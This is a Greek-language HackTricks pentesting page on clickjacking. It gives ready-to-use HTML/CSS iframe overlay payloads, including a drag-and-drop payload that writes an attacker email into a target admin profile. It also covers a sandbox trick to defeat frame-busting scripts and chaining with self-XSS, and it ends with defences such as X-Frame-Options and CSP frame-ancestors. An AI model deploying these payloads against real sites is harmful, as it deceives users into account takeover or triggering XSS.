hacktricks/src/pentesting-web/clickjacking.md

191 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Clickjacking
{{#include ../banners/hacktricks-training.md}}
## Τι είναι το Clickjacking
Σε μια επίθεση clickjacking, ένας **χρήστης** **παραπλανάται** να **κλικάρει** σε ένα **στοιχείο** σε μια ιστοσελίδα που είναι είτε **αόρατο** είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε απρόβλεπτες συνέπειες για τον χρήστη, όπως η λήψη κακόβουλου λογισμικού, ανακατεύθυνση σε κακόβουλες ιστοσελίδες, παροχή διαπιστευτηρίων ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή η διαδικτυακή αγορά προϊόντων.
### Τέχνασμα προεγκατάστασης φορμών
Μερικές φορές είναι δυνατόν να **συμπληρώσετε την τιμή πεδίων μιας φόρμας χρησιμοποιώντας παραμέτρους GET κατά τη φόρτωση μιας σελίδας**. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή τη συμπεριφορά για να συμπληρώσει μια φόρμα με αυθαίρετα δεδομένα και να στείλει το payload clickjacking ώστε ο χρήστης να πατήσει το κουμπί Υποβολή.
### Συμπλήρωση φόρμας με Drag\&Drop
Αν χρειάζεστε τον χρήστη να **συμπληρώσει μια φόρμα** αλλά δεν θέλετε να του ζητήσετε άμεσα να γράψει κάποιες συγκεκριμένες πληροφορίες (όπως το email και ή συγκεκριμένος κωδικός που γνωρίζετε), μπορείτε απλά να του ζητήσετε να **Drag\&Drop** κάτι που θα γράψει τα ελεγχόμενα δεδομένα σας όπως σε [**αυτό το παράδειγμα**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Βασικό Payload
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Πολυδιάστατο Payload
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + Click payload
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
Αν έχετε εντοπίσει μια **επίθεση XSS που απαιτεί από έναν χρήστη να κάνει κλικ** σε κάποιο στοιχείο για να **ενεργοποιήσει** το XSS και η σελίδα είναι **ευάλωτη σε clickjacking**, μπορείτε να το εκμεταλλευτείτε για να παραπλανήσετε τον χρήστη να κάνει κλικ στο κουμπί/σύνδεσμο.\
Παράδειγμα:\
&#xNAN;_&#x59;ou βρήκατε ένα **self XSS** σε κάποιες ιδιωτικές λεπτομέρειες του λογαριασμού (λεπτομέρειες που **μόνο εσείς μπορείτε να ρυθμίσετε και να διαβάσετε**). Η σελίδα με τη **φόρμα** για να ρυθμίσετε αυτές τις λεπτομέρειες είναι **ευάλωτη** σε **Clickjacking** και μπορείτε να **προκαταλάβετε** τη **φόρμα** με τις παραμέτρους GET._\
\_\_Ένας επιτιθέμενος θα μπορούσε να προετοιμάσει μια **επίθεση Clickjacking** σε αυτή τη σελίδα **προκαταβάλλοντας** τη **φόρμα** με το **XSS payload** και **παραπλανώντας** τον **χρήστη** να **υποβάλει** τη φόρμα. Έτσι, **όταν η φόρμα υποβληθεί** και οι τιμές τροποποιηθούν, ο **χρήστης θα εκτελέσει το XSS**.
## Στρατηγικές για την Ελάφρυνση του Clickjacking
### Άμυνες Πλευράς Πελάτη
Τα σενάρια που εκτελούνται στην πλευρά του πελάτη μπορούν να εκτελέσουν ενέργειες για να αποτρέψουν το Clickjacking:
- Διασφάλιση ότι το παράθυρο της εφαρμογής είναι το κύριο ή το πάνω παράθυρο.
- Κάνοντάς τα όλα τα πλαίσια ορατά.
- Αποτρέποντας τα κλικ σε αόρατα πλαίσια.
- Ανίχνευση και ειδοποίηση χρηστών για πιθανές απόπειρες Clickjacking.
Ωστόσο, αυτά τα σενάρια καταστροφής πλαισίων μπορεί να παρακαμφθούν:
- **Ρυθμίσεις Ασφαλείας Περιηγητών:** Ορισμένοι περιηγητές μπορεί να αποκλείσουν αυτά τα σενάρια με βάση τις ρυθμίσεις ασφαλείας τους ή την έλλειψη υποστήριξης JavaScript.
- **HTML5 iframe `sandbox` Attribute:** Ένας επιτιθέμενος μπορεί να εξουδετερώσει τα σενάρια καταστροφής πλαισίων ρυθμίζοντας το `sandbox` attribute με τιμές `allow-forms` ή `allow-scripts` χωρίς `allow-top-navigation`. Αυτό αποτρέπει το iframe από το να επαληθεύσει αν είναι το πάνω παράθυρο, π.χ.,
```html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
```
Οι τιμές `allow-forms` και `allow-scripts` επιτρέπουν ενέργειες μέσα στο iframe ενώ απενεργοποιούν την πλοήγηση σε ανώτερο επίπεδο. Για να διασφαλιστεί η επιθυμητή λειτουργικότητα της στοχευμένης ιστοσελίδας, μπορεί να είναι απαραίτητες επιπλέον άδειες όπως `allow-same-origin` και `allow-modals`, ανάλογα με τον τύπο της επίθεσης. Τα μηνύματα κονσόλας του προγράμματος περιήγησης μπορούν να καθοδηγήσουν ποιες άδειες να επιτραπούν.
### Αμυντικές Στρατηγικές Server-Side
#### X-Frame-Options
Η **`X-Frame-Options` HTTP response header** ενημερώνει τα προγράμματα περιήγησης σχετικά με τη νομιμότητα της απόδοσης μιας σελίδας σε ένα `<frame>` ή `<iframe>`, βοηθώντας στην πρόληψη του Clickjacking:
- `X-Frame-Options: deny` - Κανένα domain δεν μπορεί να πλαισιώσει το περιεχόμενο.
- `X-Frame-Options: sameorigin` - Μόνο η τρέχουσα ιστοσελίδα μπορεί να πλαισιώσει το περιεχόμενο.
- `X-Frame-Options: allow-from https://trusted.com` - Μόνο η καθορισμένη 'uri' μπορεί να πλαισιώσει τη σελίδα.
- Σημειώστε τους περιορισμούς: αν το πρόγραμμα περιήγησης δεν υποστηρίζει αυτή τη οδηγία, μπορεί να μην λειτουργήσει. Ορισμένα προγράμματα περιήγησης προτιμούν την οδηγία CSP frame-ancestors.
#### Content Security Policy (CSP) frame-ancestors directive
Η **`frame-ancestors` οδηγία στο CSP** είναι η προτεινόμενη μέθοδος για την προστασία από το Clickjacking:
- `frame-ancestors 'none'` - Παρόμοιο με το `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Παρόμοιο με το `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Παρόμοιο με το `X-Frame-Options: allow-from`.
Για παράδειγμα, το παρακάτω CSP επιτρέπει μόνο την πλαισίωση από το ίδιο domain:
`Content-Security-Policy: frame-ancestors 'self';`
Περισσότερες λεπτομέρειες και σύνθετα παραδείγματα μπορούν να βρεθούν στην [τεκμηρίωση frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) και στην [τεκμηρίωση frame-ancestors της Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Content Security Policy (CSP) με `child-src` και `frame-src`
Η **Content Security Policy (CSP)** είναι ένα μέτρο ασφαλείας που βοηθά στην πρόληψη του Clickjacking και άλλων επιθέσεων εισαγωγής κώδικα καθορίζοντας ποιες πηγές πρέπει να επιτρέψει το πρόγραμμα περιήγησης να φορτώσουν περιεχόμενο.
#### `frame-src` Directive
- Ορίζει έγκυρες πηγές για frames.
- Πιο συγκεκριμένο από την οδηγία `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Αυτή η πολιτική επιτρέπει πλαίσια από την ίδια προέλευση (self) και https://trusted-website.com.
#### `child-src` Οδηγία
- Εισήχθη στο επίπεδο 2 του CSP για να ορίσει έγκυρες πηγές για web workers και πλαίσια.
- Λειτουργεί ως εναλλακτική για το frame-src και worker-src.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Αυτή η πολιτική επιτρέπει πλαίσια και εργαζόμενους από την ίδια προέλευση (self) και https://trusted-website.com.
**Σημειώσεις Χρήσης:**
- Απαξίωση: το child-src καταργείται υπέρ του frame-src και worker-src.
- Συμπεριφορά Εναλλακτικής: Εάν το frame-src απουσιάζει, το child-src χρησιμοποιείται ως εναλλακτική για τα πλαίσια. Εάν και τα δύο απουσιάζουν, χρησιμοποιείται το default-src.
- Αυστηρός Ορισμός Πηγής: Συμπεριλάβετε μόνο αξιόπιστες πηγές στις οδηγίες για να αποτρέψετε την εκμετάλλευση.
#### Σενάρια JavaScript για Σπάσιμο Πλαισίων
Αν και δεν είναι εντελώς αδιάβλητα, τα σενάρια βασισμένα σε JavaScript για σπάσιμο πλαισίων μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να πλαισιωθεί. Παράδειγμα:
```javascript
if (top !== self) {
top.location = self.location
}
```
#### Χρήση Αντι-CSRF Tokens
- **Επικύρωση Token:** Χρησιμοποιήστε αντι-CSRF tokens σε διαδικτυακές εφαρμογές για να διασφαλίσετε ότι οι αιτήσεις που αλλάζουν κατάσταση γίνονται σκόπιμα από τον χρήστη και όχι μέσω μιας Clickjacked σελίδας.
## Αναφορές
- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
{{#include ../banners/hacktricks-training.md}}